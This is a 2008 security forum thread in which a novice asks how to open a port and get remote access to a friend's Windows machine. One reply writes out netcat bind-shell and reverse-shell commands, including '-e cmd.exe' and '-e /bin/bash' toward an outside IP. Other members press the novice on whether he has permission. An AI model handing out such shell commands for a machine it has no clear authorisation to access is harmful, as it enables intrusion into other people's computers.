Home
Calendar
Certifications
Columns
Features
Forum
Resources
Vitals
Latest Additions
April 2013 Free Giveaway Sponsor - eLearnSecurity
Human Intelligence to Navigate the Security Data Deluge
February 2013 Free Giveaway Winner of SANS CyberCon Training
Interview: Bugcrowd Founders on Herding Ninjas for Crowdsourced Bug Bounties
Network Forensics: The Tree in the Forest
March 2013 Free Giveaway Sponsor - Mile2
Book Review: Violent Python
February 2013 Free Giveaway Sponsor - SANS
Holiday 2012 Free Giveaway Winner of Metasploit Pro by Rapid7
Course Review: SANS FOR408 Computer Forensic Investigations – Windows In-Depth
The Security Consulting Sugar High
Tutorial: Fun with SMB on the Command Line
Interview: Ilia Kolochenko, CEO of High-Tech Bridge
October 2012 Free Giveaway Winner of LearningGate Training
The Broken: Assessing Corporate Security in 2012 to Make a Better 2013
EH-Net Login
Welcome Guest.
Username:
Password:
Remember me
Lost Password?
No account yet?
Register
Who's Online
We have 56 guests and 1 member online
You are here:
Home
Resources
Tools
opening a port through command promt.
EH-Net
May 21, 2013, 10:49:18 AM
Welcome,
Guest
. Please
login
or
register
.
Did you miss your
activation email?
1 Hour
1 Day
1 Week
1 Month
Forever
Login with username, password and session length
News
: Go back to The Ethical Hacker Network Online Magazine
Home Page
Home
Help
Calendar
Login
Register
EH-Net
>
Resources
>
Tools
(Moderator:
don
) >
opening a port through command promt.
Pages:
1
[
2
]
Go Down
« previous
next »
Print
Author
Topic: opening a port through command promt. (Read 15939 times)
0 Members and 1 Guest are viewing this topic.
pseud0
Recruiters
Full Member
Offline
Posts: 208
Re: opening a port through command promt.
«
Reply #15 on:
March 30, 2008, 08:40:54 AM »
I am not going to touch the part about getting onto the target system. That's up to you getting permission and doing your own research into remote code execution. As for the basic way to simply get a port open, go onto the intergoogle and search "man netcat".
To just get a listening port open on the target box:
nc -lvvp 4444 (that number can be any non-assigned port number)
To attach to the listening port from your testing system:
nc 192.168.1.100 4444 (adjust the IP and port number as needed)
To get the target system to give you a command prompt:
nc -lvvp 4444 -e cmd.exe (the -e flag can be -c in some cases, this will open a port and bind it to cmd so that when you connect from another system you get a windows command prompt)
To get a reverse bind shell (you can't connect directly to the system because it's nat'ed):
on your testing system -> nc -lvvp 4444
on the target system -> nc 66.67.68.69 4444 -e /bin/bash (replace IP and port as necessary)
Note: I am not posting these as "hacking tips" since these exact same commands are used for normal network administration. In addition, you are going to need to have admin access to the target machine already to make this work.
Logged
CISSP, CISM, CISA, GCIH, GREM, CEH, HMFIC, KTHXBIROFLCOPTER
bojan
Newbie
Offline
Posts: 19
Re: opening a port through command promt.
«
Reply #16 on:
March 31, 2008, 12:32:10 AM »
what if the target computer system does nt set an administrator account,i mean the adminis account isnt locked!
Logged
eth3real
Sr. Member
Offline
Posts: 309
Re: opening a port through command promt.
«
Reply #17 on:
March 31, 2008, 10:52:24 AM »
First, please use proper spelling/grammar/punctuation, because it's getting hard to understand what you're saying. (And because you can't type like that in a business environment, and if you plan on doing this professionally like most of us do, it's just a good skill)
Second, tell us your whole situation.
-Is this your friend's computer?
-
Do you have permission
?
-Do you have physical access to the computer (i.e., can you walk over to it and use the keyboard)?
-Is a remote command prompt all you want?
-What is the point of doing this, so we can better understand?
-Do you know if there is a firewall on this computer?
-Is the computer on the same network as you (connected to the same router or hub) or are you trying to do this over the internet?
Logged
Put that in your pipe and grep it!
pseud0
Recruiters
Full Member
Offline
Posts: 208
Re: opening a port through command promt.
«
Reply #18 on:
March 31, 2008, 11:08:56 AM »
Bojan,
Here is a pretty simple instructive video. It'll help you understand.
http://www.youtube.com/watch?v=oHg5SJYRHA0
Logged
CISSP, CISM, CISA, GCIH, GREM, CEH, HMFIC, KTHXBIROFLCOPTER
bojan
Newbie
Offline
Posts: 19
Re: opening a port through command promt.
«
Reply #19 on:
April 01, 2008, 12:59:09 AM »
Yes,I have the physical acess!!!yes I can use the keyboard but at the same time I also want to know when I will be not able to have the physical acess then what should I do?
I know the ip-adress of my friend and he has a av installed no firewall!!He is using windowssp2!
If i want to gain the acess of that system then what I have to do!!
Logged
Andrew Waite
Hero Member
Offline
Posts: 928
Re: opening a port through command promt.
«
Reply #20 on:
April 01, 2008, 03:25:59 AM »
Quote from: bojan on April 01, 2008, 12:59:09 AM
Yes,I have the physical acess!!!yes I can use the keyboard but at the same time I also want to know when I will be not able to have the physical acess then what should I do?
I know the ip-adress of my friend and he has a av installed no firewall!!He is using windowssp2!
If i want to gain the acess of that system then what I have to do!!
To take eth3real's questions one step further:
Do you have permission,
to access your friend's machine
Do you have physical access
to your friend's machine
I appreciate that you want to test connectivity for the event that you cannot physically control the machine. But, before you can access the machine remotely you need to set up some systems physically, Pseud0's netcat instructions will be a good place to start looking.
Logged
--
http://www.infosanity.co.uk
--
http://blog.infosanity.co.uk
eth3real
Sr. Member
Offline
Posts: 309
Re: opening a port through command promt.
«
Reply #21 on:
April 01, 2008, 10:31:33 AM »
I agree with RoleReversal.
The most important thing here is to
make sure you have permission to access your friend's machine
.
After that, you already said there is no admin password. Login as admin, and try installing a program like netcat, like Pseud0 and RoleReversal said.
Logged
Put that in your pipe and grep it!
Pages:
1
[
2
]
Go Up
Print
« previous
next »
Jump to:
Please select a destination:
-----------------------------
EH-Net
-----------------------------
=> Calendar Of Events
===> ChicagoCon 2007
===> ChicagoCon 2008s
===> ChicagoCon 2008f
===> ChicagoCon 2009s
=> Ethical Hacktivism
=> News Items and General Discussion About EH-Net
===> Greetings
=> Special Events
-----------------------------
Ethical Hacking Discussions and Related Certifications
-----------------------------
=> General Certification
===> Networking
===> OS
===> Security
=> Compliance, Regulations & Standards
=> Control Systems
=> Cyber Warfare
=> Forensics
===> CCE / MCCE - (Master) Certified Computer Examiner
===> CHFI - Computer Hacking Forensic Investigator
===> EnCE - EnCase® Certified Examiner
===> GCFA - GIAC Certified Forensics Analyst
=> Hardware
=> Incident Response
===> CSIH - Computer Security Incident Handler
===> GCIH - GIAC Certified Incident Handler
=> Malware
===> Advisories
=> Mobile
=> Network Pen Testing
===> CEH - Certified Ethical Hacker
===> CPTC - Certified Penetration Testing Consultant
===> CPTE - Certified Penetration Testing Engineer
===> CSTA - Certified Security Testing Associate
===> eCPPT - eLearnSecurity Certified Professional Penetration Tester
===> ECSA - EC-Council Certified Security Analyst
===> GPEN - GIAC Certified Penetration Tester
===> OSCP - Offensive Security Certified Professional
=> Physical Security
=> Programming
=> Social Engineering
=> Web Applications
=> Wireless
===> CWNP Certs
===> GAWN - GIAC Assessing Wireless Networks
===> OSWP - Offensive Security Wireless Professional
=> Other
-----------------------------
Columns
-----------------------------
=> Editor-In-Chief
=> Andress
=> Gates
=> Haddix
=> Hadnagy
=> Heffner
=> Hoffman
=> Linn
=> RichM
=> Murray
=> J. Peltier
=> Weidman
=> Wilson
-----------------------------
Features
-----------------------------
=> /root
=> Book Reviews
=> Opinions
=> Skillz
===> Examples
===> May 06 - Star Hacks, Episode V: The Empire Hacks Back
===> July 06 - Hack Bill!
===> Sept 06 - Netcat in the Hat
===> Nov 06 - Hitch-Hackers Guide to the Galaxy
===> Dec 06 - A Christmas (Hacking) Story
===> Feb 07 - Charlottes Web Site
===> April 07 - Microsoft Office Space
===> June 07 - Serenity Hack
===> Oct 07 - Worst. Ethical. Hacker. Challenge. Ever.
===> Dec 07 - Frosty the Snow Crash
===> March 2008 - It Happened One Friday
===> Oct 2008 - Scooby Doo and the Crypto Caper
===> Dec 08 - Santa Claus Is Hacking to Town
===> Feb 2009 - Brady Bunch Boondoggle
===> July 2009 - Prison Break
===> October 2009 - SSHliders
===> December 2009 - Miracle on Thirty-Hack Street
===> December 2010 - The Nightmare Before Charlie Browns Christmas
-----------------------------
Resources
-----------------------------
=> Career Central
===> Looking For Work
===> Looking To Hire
=> Links to cool sites.
=> Mass Media
=> News from the Outside World
=> Tools
=> Tutorials
===> Tutorial Requests
Loading...
Exclusive Deal
SANSFIRE 2013
June 15 - 22
5% Off
w/ Code
:
EHN_5
SANS Deals 4 EH-Netters
5% OFF
Any
SANS Course
in Any Format!
Coupon Code:
EHN_5
Including
SANS Rocky Mountain 2013
&
SANS Boston 2013
Polls
Compared to this year, 2013 will be:
Great!
Better.
About the same.
Little worse.
FUBAR!
Recent Forum Topics
Programming
: Finished Python Course in Codecademy now what?
(12) by
3xban
Network Pen Testing
: AIX Vulnerability Assessments
(1) by
3xban
General Certification
: CPT Practical Submission
(1) by
UNIX
OSCP - Offensive Security Certified Professional
: Failed my first attempt at the OSCP exam
(94) by
azmatt
Tools
: Social-Engineer Toolkit (SET) Version 5.0 “The Wild West” Released
(2) by
m0wgli
Malware
: EICAR?
(3) by
UKSecurityGuy
Advisories
: HTB23154: Multiple Vulnerabilities in Exponent CMS
(0) by
AndyP
Advisories
: HTB23153: Multiple Vulnerabilities in Jojo CMS
(0) by
AndyP
Advisories
: HTB23151: Cross-Site Request Forgery (CSRF) in UMI.CMS
(0) by
AndyP
Tutorials
: Need guidance
(8) by
r0ckm4n
OSCP - Offensive Security Certified Professional
: Class Scheduled 6/8 - Linux n00b
(7) by
Taemyks
OSCP - Offensive Security Certified Professional
: OSCP exam scheduled
(6) by
gbhat
Incident Response
: LinkedIn Forensics
(0) by
AFENTIS_Forensics
General Certification
: Red Team/Blue Team
(1) by
ajohnson
Career Central
: Starter cert?
(3) by
Grendel
Network Pen Testing
: Beginner Ethical Hacker
(1) by
m0wgli
Web Applications
: Nessus and Nikto
(4) by
Seen
Network Pen Testing
: Cracking salted MD5 hash
(4) by
n37sh@rk
CEH - Certified Ethical Hacker
: Passed my C|EH
(3) by
n37sh@rk
Mass Media
: EC-council hacked, irony at his best?
(0) by
j0rDy
Web Applications
: SQL Injection into an INSERT statement.
(6) by
eyenit0
Network Pen Testing
: Solution for sipXtapi INVITE Message CSeq Field Header Remote Overflow
(1) by
m0wgli
Web Applications
: dns
(2) by
H1t M0nk3y
Other
: BSides Boston
(0) by
3xban
Career Central
: InfoSec in Central, FL
(2) by
tturner
Web Applications
: Web vulnerability scanner
(4) by
H1t M0nk3y
EH-Net News Feeds
Latest Additions
Privacy Notice
for TDCC & All Properties
© 2013 The Ethical Hacker Network
Joomla!
is Free Software released under the GNU/GPL License.